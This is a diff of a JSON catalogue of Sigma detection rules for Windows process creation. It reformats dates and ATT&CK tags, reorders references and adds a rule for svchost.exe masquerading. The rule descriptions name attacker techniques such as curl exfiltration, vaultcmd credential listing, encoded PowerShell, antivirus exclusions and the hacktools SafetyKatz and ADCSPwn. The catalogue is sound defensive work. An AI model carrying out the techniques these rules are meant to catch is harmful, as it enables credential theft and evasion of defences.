"https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_mstsc_rdp_hijack_shadowing.yml" ], "tags": [ - "attack.lateral_movement", + "attack.lateral-movement", "attack.t1563.002" ] }, @@ -22463,7 +22395,7 @@ "description": "Detects suspicious PowerShell invocation with a parameter substring", "meta": { "author": "Florian Roth (Nextron Systems), Daniel Bohannon (idea), Roberto Rodriguez (Fix)", - "creation_date": "2019/01/16", + "creation_date": "2019-01-16", "falsepositive": [ "Unknown" ], @@ -22496,7 +22428,7 @@ "description": "Detect the use of \"sc.exe\" to change the startup type of a service to \"disabled\" or \"demand\"", "meta": { "author": "Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2022/08/01", + "creation_date": "2022-08-01", "falsepositive": [ "False positives may occur with troubleshooting scripts" ], @@ -22510,7 +22442,7 @@ ], "tags": [ "attack.execution", - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1562.001" ] }, @@ -22530,7 +22462,7 @@ "description": "This rule detects execution of a PowerShell code through the sqltoolsps.exe utility, which is included in the standard set of utilities supplied with the Microsoft SQL Server Management studio.\nScript blocks are not logged in this case, so this utility helps to bypass protection mechanisms based on the analysis of these logs.\n", "meta": { "author": "Agro (@agro_sev) oscd.communitly", - "creation_date": "2020/10/13", + "creation_date": "2020-10-13", "falsepositive": [ "Direct PS command execution through SQLToolsPS.exe is uncommon, childprocess sqltoolsps.exe spawned by smss.exe is a legitimate action." ], @@ -22539,14 +22471,14 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://twitter.com/pabraeken/status/993298228840992768", "https://github.com/LOLBAS-Project/LOLBAS/blob/8283d8d91552213ded165fd36deb6cb9534cb443/yml/OtherMSBinaries/Sqltoolsps.yml", + "https://twitter.com/pabraeken/status/993298228840992768", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_mssql_sqltoolsps_susp_execution.yml" ], "tags": [ "attack.execution", "attack.t1059.001", - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1127" ] }, @@ -22573,7 +22505,7 @@ "description": "Detects the execution of \"csvde.exe\" in order to export organizational Active Directory structure.", "meta": { "author": "Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2023/03/14", + "creation_date": "2023-03-14", "falsepositive": [ "Unknown" ], @@ -22582,10 +22514,10 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://redcanary.com/blog/msix-installers/", "https://web.archive.org/web/20180725233601/https://www.pwc.co.uk/cyber-security/pdf/cloud-hopper-annex-b-final.pdf", - "https://businessinsights.bitdefender.com/deep-dive-into-a-backdoordiplomacy-attack-a-study-of-an-attackers-toolkit", + "https://redcanary.com/blog/msix-installers/", "https://www.cybereason.com/blog/research/operation-ghostshell-novel-rat-targets-global-aerospace-and-telecoms-firms", + "https://businessinsights.bitdefender.com/deep-dive-into-a-backdoordiplomacy-attack-a-study-of-an-attackers-toolkit", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_csvde_export.yml" ], "tags": [ @@ -22610,7 +22542,7 @@ "description": "Detects suspicious manipulations of default accounts such as 'administrator' and 'guest'. For example 'enable' or 'disable' accounts or change the password...etc", "meta": { "author": "Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2022/09/01", + "creation_date": "2022-09-01", "falsepositive": [ "Some false positives could occur with the admin or guest account. It depends on the scripts being used by the admins in your env. If you experience a lot of FP you could reduce the level to medium" ], @@ -22619,9 +22551,9 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://www.trellix.com/en-sg/about/newsroom/stories/threat-labs/lockergoga-ransomware-family-used-in-targeted-attacks.html", - "https://www.microsoft.com/security/blog/2022/09/07/profiling-dev-0270-phosphorus-ransomware-operations/", "https://redacted.com/blog/bianlian-ransomware-gang-gives-it-a-go/", + "https://www.microsoft.com/security/blog/2022/09/07/profiling-dev-0270-phosphorus-ransomware-operations/", + "https://www.trellix.com/en-sg/about/newsroom/stories/threat-labs/lockergoga-ransomware-family-used-in-targeted-attacks.html", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_net_user_default_accounts_manipulation.yml" ], "tags": [ @@ -22645,7 +22577,7 @@ "description": "Detects the execution of WMIC with the \"csproduct\" which is used to obtain information such as hardware models and vendor information", "meta": { "author": "Florian Roth (Nextron Systems)", - "creation_date": "2023/02/14", + "creation_date": "2023-02-14", "falsepositive": [ "Unknown" ], @@ -22654,8 +22586,8 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://jonconwayuk.wordpress.com/2014/01/31/wmic-csproduct-using-wmi-to-identify-make-and-model-of-hardware/", "https://www.uptycs.com/blog/kuraystealer-a-bandit-using-discord-webhooks", + "https://jonconwayuk.wordpress.com/2014/01/31/wmic-csproduct-using-wmi-to-identify-make-and-model-of-hardware/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_wmic_recon_csproduct.yml" ], "tags": [ @@ -22680,7 +22612,7 @@ "description": "An adversary may use legitimate desktop support and remote access software, such as Team Viewer, Go2Assist, LogMein, AmmyyAdmin, etc, to establish an interactive command and control channel to target systems within networks.\nThese services are commonly used as legitimate technical support software, and may be allowed by application control within a target environment.\nRemote access tools like VNC, Ammyy, and Teamviewer are used frequently when compared with other legitimate software commonly used by adversaries. (Citation: Symantec Living off the Land)\n", "meta": { "author": "frack113", - "creation_date": "2022/09/25", + "creation_date": "2022-09-25", "falsepositive": [ "Legitimate use" ], @@ -22693,7 +22625,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_remote_access_tools_ultraviewer.yml" ], "tags": [ - "attack.command_and_control", + "attack.command-and-control", "attack.t1219" ] }, @@ -22713,7 +22645,7 @@ "description": "Detects usage of OpenConsole binary as a LOLBIN to launch other binaries to bypass application Whitelisting", "meta": { "author": "Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2022/06/16", + "creation_date": "2022-06-16", "falsepositive": [ "Legitimate use by an administrator" ], @@ -22746,7 +22678,7 @@ "description": "Detects execution of \"curl.exe\" with a potential custom \"User-Agent\". Attackers can leverage this to download or exfiltrate data via \"curl\" to a domain that only accept specific \"User-Agent\" strings", "meta": { "author": "Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2023/07/27", + "creation_date": "2023-07-27", "falsepositive": [ "Unknown" ], @@ -22755,8 +22687,8 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://labs.withsecure.com/publications/fin7-target-veeam-servers", "https://github.com/WithSecureLabs/iocs/blob/344203de742bb7e68bd56618f66d34be95a9f9fc/FIN7VEEAM/iocs.csv", + "https://labs.withsecure.com/publications/fin7-target-veeam-servers", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_curl_custom_user_agent.yml" ], "tags": [ @@ -22770,7 +22702,7 @@ "description": "Detects command that type the content of ntdll.dll to a different file or a pipe in order to evade AV / EDR detection. As seen being used in the POC NtdllPipe", "meta": { "author": "Florian Roth (Nextron Systems)", - "creation_date": "2022/03/05", + "creation_date": "2022-03-05", "falsepositive": [ "Unknown" ], @@ -22783,7 +22715,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_cmd_ntdllpipe_redirect.yml" ], "tags": [ - "attack.defense_evasion" + "attack.defense-evasion" ] }, "uuid": "bbc865e4-7fcd-45a6-8ff1-95ced28ec5b2", @@ -22793,7 +22725,7 @@ "description": "Detects the execution of certutil with the \"encode\" flag to encode a file to base64 where the extensions of the file is suspicious", "meta": { "author": "Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2023/05/15", + "creation_date": "2023-05-15", "falsepositive": [ "Unknown" ], @@ -22802,14 +22734,14 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://www.virustotal.com/gui/file/427616528b7dbc4a6057ac89eb174a3a90f7abcf3f34e5a359b7a910d82f7a72/behavior", "https://www.virustotal.com/gui/file/4abe1395a09fda06d897a9c4eb247278c1b6cddda5d126ce5b3f4f499e3b8fa2/behavior", - "https://www.virustotal.com/gui/file/35c22725a92d5cb1016b09421c0a6cdbfd860fd4778b3313669b057d4a131cb7/behavior", "https://www.virustotal.com/gui/file/34de4c8beded481a4084a1fd77855c3e977e8ac643e5c5842d0f15f7f9b9086f/behavior", + "https://www.virustotal.com/gui/file/427616528b7dbc4a6057ac89eb174a3a90f7abcf3f34e5a359b7a910d82f7a72/behavior", + "https://www.virustotal.com/gui/file/35c22725a92d5cb1016b09421c0a6cdbfd860fd4778b3313669b057d4a131cb7/behavior", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_certutil_encode_susp_extensions.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1027" ] }, @@ -22829,7 +22761,7 @@ "description": "Detects uses of the SysInternals ProcDump utility in which ProcDump or its output get renamed, or a dump file is moved or copied to a different name", "meta": { "author": "Florian Roth (Nextron Systems)", - "creation_date": "2022/01/11", + "creation_date": "2022-01-11", "falsepositive": [ "False positives are expected in cases in which ProcDump just gets copied to a different directory without any renaming" ], @@ -22842,7 +22774,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_sysinternals_procdump_evasion.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1036", "attack.t1003.001" ] @@ -22870,7 +22802,7 @@ "description": "Detects the creation of taskmgr.exe process in context of LOCAL_SYSTEM", "meta": { "author": "Florian Roth (Nextron Systems)", - "creation_date": "2018/03/18", + "creation_date": "2018-03-18", "falsepositive": [ "Unknown" ], @@ -22883,7 +22815,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_taskmgr_localsystem.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1036" ] }, @@ -22903,7 +22835,7 @@ "description": "List credentials currently stored in Windows Credential Manager via the native Windows utility vaultcmd.exe", "meta": { "author": "frack113", - "creation_date": "2022/04/08", + "creation_date": "2022-04-08", "falsepositive": [ "Unknown" ], @@ -22916,7 +22848,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_vaultcmd_list_creds.yml" ], "tags": [ - "attack.credential_access", + "attack.credential-access", "attack.t1555.004" ] }, @@ -22936,7 +22868,7 @@ "description": "Detects the removal of a port or application rule in the Windows Firewall configuration using netsh", "meta": { "author": "frack113", - "creation_date": "2022/08/14", + "creation_date": "2022-08-14", "falsepositive": [ "Legitimate administration activity", "Software installations and removal" @@ -22950,7 +22882,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_netsh_fw_delete_rule.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1562.004" ] }, @@ -22970,7 +22902,7 @@ "description": "Extract data from cab file and hide it in an alternate data stream", "meta": { "author": "frack113", - "creation_date": "2021/11/26", + "creation_date": "2021-11-26", "falsepositive": [ "Unknown" ], @@ -22983,7 +22915,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_extrac32_ads.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1564.004" ] }, @@ -23003,7 +22935,7 @@ "description": "Commandline to launch powershell with a base64 payload", "meta": { "author": "frack113", - "creation_date": "2022/01/02", + "creation_date": "2022-01-02", "falsepositive": [ "Unknown" ], @@ -23012,9 +22944,9 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1059.001/T1059.001.md#atomic-test-20---powershell-invoke-known-malicious-cmdlets", "https://mikefrobbins.com/2017/06/15/simple-obfuscation-with-powershell-using-base64-encoding/", "https://unit42.paloaltonetworks.com/unit42-pulling-back-the-curtains-on-encodedcommand-powershell-attacks/", + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1059.001/T1059.001.md#atomic-test-20---powershell-invoke-known-malicious-cmdlets", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_powershell_encode.yml" ], "tags": [ @@ -23038,7 +22970,7 @@ "description": "Detects usage of the \"ms-appinstaller\" protocol handler via command line to potentially download arbitrary files via AppInstaller.EXE\nThe downloaded files are temporarly stored in \":\\Users\\%username%\\AppData\\Local\\Packages\\Microsoft.DesktopAppInstaller_8wekyb3d8bbwe\\AC\\INetCache\\\"\n", "meta": { "author": "Nasreddine Bencherchali (Nextron Systems), Swachchhanda Shrawan Poudel", - "creation_date": "2023/11/09", + "creation_date": "2023-11-09", "falsepositive": [ "Unknown" ], @@ -23051,7 +22983,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_ms_appinstaller_download.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.execution", "attack.t1218" ] @@ -23072,7 +23004,7 @@ "description": "Detects suspicious child processes of electron apps (teams, discord, slack, etc.). This could be a potential sign of \".asar\" file tampering (See reference section for more information) or binary execution proxy through specific CLI arguments (see related rule)\n", "meta": { "author": "Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2022/10/21", + "creation_date": "2022-10-21", "falsepositive": [ "Unknown" ], @@ -23081,13 +23013,13 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ + "https://lolbas-project.github.io/lolbas/Binaries/Msedge/", + "https://lolbas-project.github.io/lolbas/Binaries/msedgewebview2/", + "https://medium.com/@MalFuzzer/one-electron-to-rule-them-all-dc2e9b263daf", "https://positive.security/blog/ms-officecmd-rce", - "https://github.com/mttaggart/quasar", "https://taggart-tech.com/quasar-electron/", - "https://lolbas-project.github.io/lolbas/Binaries/msedgewebview2/", "https://lolbas-project.github.io/lolbas/Binaries/Teams/", - "https://lolbas-project.github.io/lolbas/Binaries/Msedge/", - "https://medium.com/@MalFuzzer/one-electron-to-rule-them-all-dc2e9b263daf", + "https://github.com/mttaggart/quasar", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_electron_app_children.yml" ], "tags": [ @@ -23101,7 +23033,7 @@ "description": "Detects a suspicious script executions from temporary folder", "meta": { "author": "Florian Roth (Nextron Systems), Max Altgelt (Nextron Systems), Tim Shelton", - "creation_date": "2021/07/14", + "creation_date": "2021-07-14", "falsepositive": [ "Administrative scripts" ], @@ -23134,7 +23066,7 @@ "description": "Detect use of the Windows 8.3 short name. Which could be used as a method to avoid command-line detection", "meta": { "author": "frack113, Nasreddine Bencherchali", - "creation_date": "2022/08/07", + "creation_date": "2022-08-07", "falsepositive": [ "Applications could use this notation occasionally which might generate some false positives. In that case investigate the parent and child process." ], @@ -23143,13 +23075,13 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://twitter.com/frack113/status/1555830623633375232", "https://www.acunetix.com/blog/articles/windows-short-8-3-filenames-web-security-problem/", + "https://twitter.com/frack113/status/1555830623633375232", "https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-2000-server/cc959352(v=technet.10)", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_ntfs_short_name_path_use_cli.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1564.004" ] }, @@ -23169,7 +23101,7 @@ "description": "Detects the execution of the hacktool SafetyKatz via PE information and default Image name", "meta": { "author": "Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2022/10/20", + "creation_date": "2022-10-20", "falsepositive": [ "Unlikely" ], @@ -23182,7 +23114,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_hktl_safetykatz.yml" ], "tags": [ - "attack.credential_access", + "attack.credential-access", "attack.t1003.001" ] }, @@ -23198,11 +23130,45 @@ "uuid": "b1876533-4ed5-4a83-90f3-b8645840a413", "value": "HackTool - SafetyKatz Execution" }, + { + "description": "Detects a suspicious process that is masquerading as the legitimate \"svchost.exe\" by naming its binary \"svchost.exe\" and executing from an uncommon location.\nAdversaries often disguise their malicious binaries by naming them after legitimate system processes like \"svchost.exe\" to evade detection.\n", + "meta": { + "author": "Swachchhanda Shrawan Poudel", + "creation_date": "2024-08-07", + "falsepositive": [ + "Unlikely" + ], + "filename": "proc_creation_win_svchost_masqueraded_execution.yml", + "level": "high", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://redcanary.com/blog/threat-detection/process-masquerading/", + "https://tria.ge/240731-jh4crsycnb/behavioral2", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_svchost_masqueraded_execution.yml" + ], + "tags": [ + "attack.defense-evasion", + "attack.t1036.005" + ] + }, + "related": [ + { + "dest-uuid": "1c4e5d32-1fe9-4116-9d9d-59e3925bd6a2", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "related-to" + } + ], + "uuid": "be58d2e2-06c8-4f58-b666-b99f6dc3b6cd", + "value": "Suspicious Process Masquerading As SvcHost.EXE" + }, { "description": "Detects password change for the computer's domain account or host principal via \"ksetup.exe\"", "meta": { "author": "Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2023/04/06", + "creation_date": "2023-04-06", "falsepositive": [ "Unknown" ], @@ -23226,7 +23192,7 @@ "description": "Detects the usage of binaries such as 'net', 'sc' or 'powershell' in order to stop, pause or delete critical or important Windows services such as AV, Backup, etc. As seen being used in some ransomware scripts", "meta": { "author": "Nasreddine Bencherchali (Nextron Systems), frack113", - "creation_date": "2022/09/01", + "creation_date": "2022-09-01", "falsepositive": [ "Administrators or tools shutting down the services due to upgrade or removal purposes. If you experience some false positive, please consider adding filters to the parent process launching this command and not removing the entry" ], @@ -23235,15 +23201,15 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1562.001/T1562.001.md", "https://research.nccgroup.com/2022/08/19/back-in-black-unlocking-a-lockbit-3-0-ransomware-attack/", + "https://www.trendmicro.com/content/dam/trendmicro/global/en/research/22/h/ransomware-actor-abuses-genshin-impact-anti-cheat-driver-to-kill-antivirus/Genshin%20Impact%20Figure%2010.jpg", "https://www.virustotal.com/gui/file/38283b775552da8981452941ea74191aa0d203edd3f61fb2dee7b0aea3514955", - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1562.001/T1562.001.md", "https://www.trellix.com/en-sg/about/newsroom/stories/threat-labs/lockergoga-ransomware-family-used-in-targeted-attacks.html", - "https://www.trendmicro.com/content/dam/trendmicro/global/en/research/22/h/ransomware-actor-abuses-genshin-impact-anti-cheat-driver-to-kill-antivirus/Genshin%20Impact%20Figure%2010.jpg", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_service_tamper.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1489" ] }, @@ -23263,7 +23229,7 @@ "description": "Detects suspicious Windows Error Reporting manager (wermgr.exe) child process", "meta": { "author": "Florian Roth (Nextron Systems)", - "creation_date": "2022/10/14", + "creation_date": "2022-10-14", "falsepositive": [ "Unknown" ], @@ -23272,14 +23238,14 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://github.com/binderlabs/DirCreate2System", "https://www.echotrail.io/insights/search/wermgr.exe", "https://www.trendmicro.com/en_us/research/22/j/black-basta-infiltrates-networks-via-qakbot-brute-ratel-and-coba.html", + "https://github.com/binderlabs/DirCreate2System", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_wermgr_susp_child_process.yml" ], "tags": [ - "attack.defense_evasion", - "attack.privilege_escalation", + "attack.defense-evasion", + "attack.privilege-escalation", "attack.t1055", "attack.t1036" ] @@ -23307,7 +23273,7 @@ "description": "Detects requests to exclude files, folders or processes from Antivirus scanning using PowerShell cmdlets", "meta": { "author": "Florian Roth (Nextron Systems)", - "creation_date": "2021/04/29", + "creation_date": "2021-04-29", "falsepositive": [ "Possible Admin Activity", "Other Cmdlets that may use the same parameters" @@ -23317,13 +23283,13 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1562.001/T1562.001.md", "https://learn.microsoft.com/en-us/defender-endpoint/configure-process-opened-file-exclusions-microsoft-defender-antivirus", + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1562.001/T1562.001.md", "https://twitter.com/AdamTheAnalyst/status/1483497517119590403", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_powershell_defender_exclusion.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1562.001" ] }, @@ -23343,7 +23309,7 @@ "description": "Detects command line parameters used by ADCSPwn, a tool to escalate privileges in an active directory network by coercing authenticate from machine accounts and relaying to the certificate service", "meta": { "author": "Florian Roth (Nextron Systems)", - "creation_date": "2021/07/31", + "creation_date": "2021-07-31", "falsepositive": [ "Unlikely" ], @@ -23356,7 +23322,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_hktl_adcspwn.yml" ], "tags": [ - "attack.credential_access", + "attack.credential-access", "attack.t1557.001" ] }, @@ -23376,7 +23342,7 @@ "description": "Detects suspicious execution of \"PDQDeployRunner\" which is part of the PDQDeploy service stack that is responsible for executing commands and packages on a remote machines", "meta": { "author": "Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2022/07/22", + "creation_date": "2022-07-22", "falsepositive": [ "Legitimate use of the PDQDeploy tool to execute these commands" ], @@ -23399,7 +23365,7 @@ "description": "Detects usage of Sysinternals PsSuspend which can be abused to suspend critical processes", "meta": { "author": "Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2023/03/23", + "creation_date": "2023-03-23", "falsepositive": [ "Unknown" ], @@ -23434,7 +23400,7 @@ "description": "Detects service path modification via the \"sc\" binary to a suspicious command or path", "meta": { "author": "Victor Sergeev, oscd.community, Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2019/10/21", + "creation_date": "2019-10-21", "falsepositive": [ "Unlikely" ], @@ -23449,7 +23415,7 @@ ], "tags": [ "attack.persistence", - "attack.privilege_escalation", + "attack.privilege-escalation", "attack.t1543.003" ] }, @@ -23469,7 +23435,7 @@ "description": "Detects renamed vmnat.exe or portable version that can be used for DLL side-loading", "meta": { "author": "elhoim", - "creation_date": "2022/09/09", + "creation_date": "2022-09-09", "falsepositive": [ "Unknown" ], @@ -23482,7 +23448,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_renamed_vmnat.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1574.002" ] }, @@ -23502,7 +23468,7 @@ "description": "Detects usage of the 'Get-Clipboard' cmdlet via CLI", "meta": { "author": "Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2020/05/02", + "creation_date": "2020-05-02", "falsepositive": [ "Unknown" ], @@ -23536,7 +23502,7 @@ "description": "Detects usage of COM objects that can be abused to download files in PowerShell by CLSID", "meta": { "author": "frack113", - "creation_date": "2022/12/25", + "creation_date": "2022-12-25", "falsepositive": [ "Legitimate use of the library" ], @@ -23550,7 +23516,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_powershell_download_com_cradles.yml" ], "tags": [ - "attack.command_and_control", + "attack.command-and-control", "attack.t1105" ] }, @@ -23570,7 +23536,7 @@ "description": "Detects potentially suspicious processes being spawned by a web server process which could be the result of a successfully placed web shell or exploitation\n", "meta": { "author": "Thomas Patzke, Florian Roth (Nextron Systems), Zach Stanford @svch0st, Tim Shelton, Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2019/01/16", + "creation_date": "2019-01-16", "falsepositive": [ "Particular web applications may spawn a shell process legitimately" ], @@ -23611,7 +23577,7 @@ "description": "Detects scheduled task creations or modification on a suspicious schedule type", "meta": { "author": "Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2022/09/09", + "creation_date": "2022-09-09", "falsepositive": [ "Legitimate processes that run at logon. Filter according to your environment" ], @@ -23620,8 +23586,8 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "http://blog.talosintelligence.com/2022/09/lazarus-three-rats.html", "https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/schtasks-create", + "http://blog.talosintelligence.com/2022/09/lazarus-three-rats.html", "https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/schtasks-change", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_schtasks_schedule_type.yml" ], @@ -23646,7 +23612,7 @@ "description": "Detects the usage of schtasks with the delete flag and the asterisk symbol to delete all tasks from the schedule of the local computer, including tasks scheduled by other users.", "meta": { "author": "Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2022/09/09", + "creation_date": "2022-09-09", "falsepositive": [ "Unlikely" ], @@ -23679,7 +23645,7 @@ "description": "Detects the execution of \"BitLockerToGo.EXE\".\nBitLocker To Go is BitLocker Drive Encryption on removable data drives. This feature includes the encryption of, USB flash drives, SD cards, External hard disk drives, Other drives that are formatted by using the NTFS, FAT16, FAT32, or exFAT file system.\nThis is a rarely used application and usage of it at all is worth investigating.\nMalware such as Lumma stealer has been seen using this process as a target for process hollowing.\n", "meta": { "author": "Josh Nickels, mttaggart", - "creation_date": "2024/07/11", + "creation_date": "2024-07-11", "falsepositive": [ "Legitimate usage of BitLockerToGo.exe to encrypt portable devices." ], @@ -23688,14 +23654,14 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://bazaar.abuse.ch/sample/64e6605496919cd76554915cbed88e56fdec10dec6523918a631754664b8c8d3/", - "https://any.run/report/6eea2773c1b4b5c6fb7c142933e220c96f9a4ec89055bf0cf54accdcde7df535/a407f006-ee45-420d-b576-f259094df091", "https://tria.ge/240521-ynezpagf56/behavioral1", "https://bazaar.abuse.ch/sample/8c75f8e94486f5bbf461505823f5779f328c5b37f1387c18791e0c21f3fdd576/", + "https://any.run/report/6eea2773c1b4b5c6fb7c142933e220c96f9a4ec89055bf0cf54accdcde7df535/a407f006-ee45-420d-b576-f259094df091", + "https://bazaar.abuse.ch/sample/64e6605496919cd76554915cbed88e56fdec10dec6523918a631754664b8c8d3/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_bitlockertogo_execution.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1218" ] }, @@ -23715,7 +23681,7 @@ "description": "Detects execution of the \"VMwareToolBoxCmd.exe\" with the \"script\" and \"set\" flag to setup a specific script to run for a specific VM state", "meta": { "author": "Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2023/06/14", + "creation_date": "2023-06-14", "falsepositive": [ "Unknown" ], @@ -23724,8 +23690,8 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://www.hexacorn.com/blog/2017/01/14/beyond-good-ol-run-key-part-53/", "https://bohops.com/2021/10/08/analyzing-and-detecting-a-vmtools-persistence-technique/", + "https://www.hexacorn.com/blog/2017/01/14/beyond-good-ol-run-key-part-53/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_vmware_toolbox_cmd_persistence.yml" ], "tags": [ @@ -23750,7 +23716,7 @@ "description": "Detects uninstallation or termination of security products using the WMIC utility", "meta": { "author": "Florian Roth (Nextron Systems), Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2021/01/30", + "creation_date": "2021-01-30", "falsepositive": [ "Legitimate administration" ], @@ -23760,14 +23726,14 @@ "logsource.product": "windows", "refs": [ "https://twitter.com/cglyer/status/1355171195654709249", + "https://research.nccgroup.com/2022/08/19/back-in-black-unlocking-a-lockbit-3-0-ransomware-attack/", "https://www.mandiant.com/resources/unc2165-shifts-to-evade-sanctions", - "https://www.trendmicro.com/en_us/research/23/a/vice-society-ransomware-group-targets-manufacturing-companies.html", "https://thedfirreport.com/2021/10/18/icedid-to-xinglocker-ransomware-in-24-hours/", - "https://research.nccgroup.com/2022/08/19/back-in-black-unlocking-a-lockbit-3-0-ransomware-attack/", + "https://www.trendmicro.com/en_us/research/23/a/vice-society-ransomware-group-targets-manufacturing-companies.html", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_wmic_uninstall_security_products.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1562.001" ] }, @@ -23787,7 +23753,7 @@ "description": "Detects potential suspicious behaviour using secedit.exe. Such as exporting or modifying the security policy", "meta": { "author": "Janantha Marasinghe", - "creation_date": "2022/11/18", + "creation_date": "2022-11-18", "falsepositive": [ "Legitimate administrative use" ], @@ -23796,16 +23762,16 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/secedit", "https://blueteamops.medium.com/secedit-and-i-know-it-595056dee53d", + "https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/secedit", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_secedit_execution.yml" ], "tags": [ "attack.discovery", "attack.persistence", - "attack.defense_evasion", - "attack.credential_access", - 